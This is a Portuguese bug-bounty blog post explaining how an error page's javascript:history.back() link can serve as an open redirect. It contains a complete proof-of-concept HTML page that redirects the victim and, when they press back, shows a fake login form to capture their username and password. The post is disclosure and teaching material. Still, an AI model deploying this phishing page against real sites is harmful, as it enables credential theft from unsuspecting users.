Abusando de Javascript:history.back() como um redirecionamento aberto

Apr 24 2023
Olá hackers, hoje vou falar sobre um bug interessante, é um bug de baixa gravidade, mas acho que você aprenderá com isso, então vamos começar. Você já clicou no botão “voltar” do seu navegador, apenas para ser redirecionado para uma página maliciosa? Essa é uma tática comum usada por invasores para explorar uma vulnerabilidade com thejavascript:history.

Olá hackers,

Hoje vou falar sobre um bug interessante, é um bug de baixa gravidade, mas acho que você aprenderá com isso. Então, vamos começar.

Você já clicou no botão “voltar” do seu navegador, apenas para ser redirecionado para uma página maliciosa?

Essa é uma tática comum usada pelos invasores para explorar uma vulnerabilidade com a javascript:history.back()função. A javascript:history.back()função é um recurso útil em aplicativos da Web que permite aos usuários navegar de volta para uma página anterior. No entanto, também pode ser usado por invasores para redirecionar os usuários para uma página maliciosa, manipulando o histórico do navegador.

Eu estava procurando em um programa RDP, encontrei uma URL que estava dando um erro não encontrado com um link de retorno e essa página tem uma javascript:history.back()função.

então percebo rapidamente que podemos explorar isso para abrir a vulnerabilidade de redirecionamento.

Aqui está a prova de conceito de como eu fiz isso.

Em primeiro lugar, hospedei uma página HTML em minha máquina local.

A página tem o seguinte código.

<html>
<head>
 <title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
 <div id="forward">
 <a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
 <h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
 <form action="process_login.php" method="post">
 <label for="username">Username:</label>
 <input type="text" id="username" name="username"><br><br>
 
 <label for="password">Password:</label>
 <input type="password" id="password" name="password"><br><br>
 
 <input type="submit" value="Login">
 </form>
 </div>
<script>
function hide(id) {
 document.getElementById(id).style.display = 'none';
}
function show(id) {
 document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
 if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
 hide("forward");
 show("phish");
 } else {
 hide("phish");
 show("forward");
 document.querySelector("#forward a").click();
 }
});
</script>
</body>
</html>

https://redacted.com/locale/redirect?locale=en

e o usuário receberá o seguinte erro com um link para voltar.

o usuário pensará que ocorreu algum erro e clicará no link voltar, mas neste caso, pois o usuário já foi redirecionado da página maliciosa. A função não vai validar se a página anterior era do mesmo domínio ou não, por isso vai direcionar o usuário para a página do invasor malicioso.

Ao usar isso, um invasor pode roubar informações confidenciais, como senhas e outros detalhes pessoais.

É um bug de gravidade média, igual a uma vulnerabilidade de redirecionamento aberto. Eu relatei isso ao site, mas o programa deles está suspenso, mas ainda assim esse é um bug que você pode encontrar facilmente em qualquer site e denunciá-lo.

Se você quiser, posso fornecer um POC completo desse bug, envie uma mensagem para mim no Twitter ou Instagram.

Tenha uma ótima jornada de caça, adeus

Ajay Jachak :)

Siga-me !

Twitter-https://twitter.com/Ajay_jachak24

LinkedIn-https://www.linkedin.com/in/ajay-jachak-990964212/

Instagram-https://www.instagram.com/ajax.pvt/